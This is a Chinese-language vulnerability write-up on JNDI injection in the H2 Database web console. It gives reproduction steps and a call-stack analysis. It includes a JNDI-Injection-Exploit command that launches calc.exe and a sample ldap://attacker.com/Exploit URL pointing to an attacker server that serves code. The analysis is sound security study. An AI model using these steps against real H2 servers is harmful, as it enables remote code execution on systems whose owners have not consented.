漏洞版本
1.1.100 <= H2 Console <= 2.0.204
漏洞复现
此处复现版本1.4.197
启动项目如下
在Driver Class中输入javax.naming.InitialContext
在JDBCURL中输入jndi注入恶意链接
生成链接命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 服务器ip
因为项目环境是jdk1.7,因此我们用1.7的jndi,其他版本均不生效
漏洞分析
通过漏洞公布,可以看到是在org.h2.util.JdbcUtils.getConnection的javax.naming.Context出问题的
告诉我们只需要提供一个javax.naming.InitialContext作为driver class和提供一个ldap://attacker.com/Exploit恶意的url即可远程命令执行
那么我们看看代码,找到问题所在处下断点org.h2.util.JdbcUtils
到311行弹出计算器
下断点后,我们可以看到整体调用栈,从下往上的顺序,那么我们逆着来
首先这里isAssignableFrom
A.isAssignableFrom(B) 确定一个类(B)是不是继承来自于另一个父类(A)
那么也就是说这里判断d是不是javax.naming.Context的类或者子类,d来自290行,用loadUserClass自定义的类加载
可以看到class javax.naming.InitialContext是javax.naming.Contex的子类,因此进入if
按照审计思路来看,先不调试跟踪
因为context.lookup(url)在org.h2.util.JdbcUtils#getConnection中
那么查看getConnection调用
根据调用栈顺序,我们进入到org.h2.server.web.WebServer#getConnection方法,如下
那么我们继续找getConnection的调用
进入org.h2.server.web.WebApp#test
继续找test的调用
进入org.h2.server.web.WebApp#process方法
找process调用
进入org.h2.server.web.WebApp#processRequest方法
进入org.h2.server.web.WebThread#process方法
查看process调用
进入org.h2.server.web.WebThread#run方法
那么到run就结束了,可以看到通过javax.naming.InitialContext来进入if,来调用lookup来触发我们的恶意url,用WebThread线程类来处理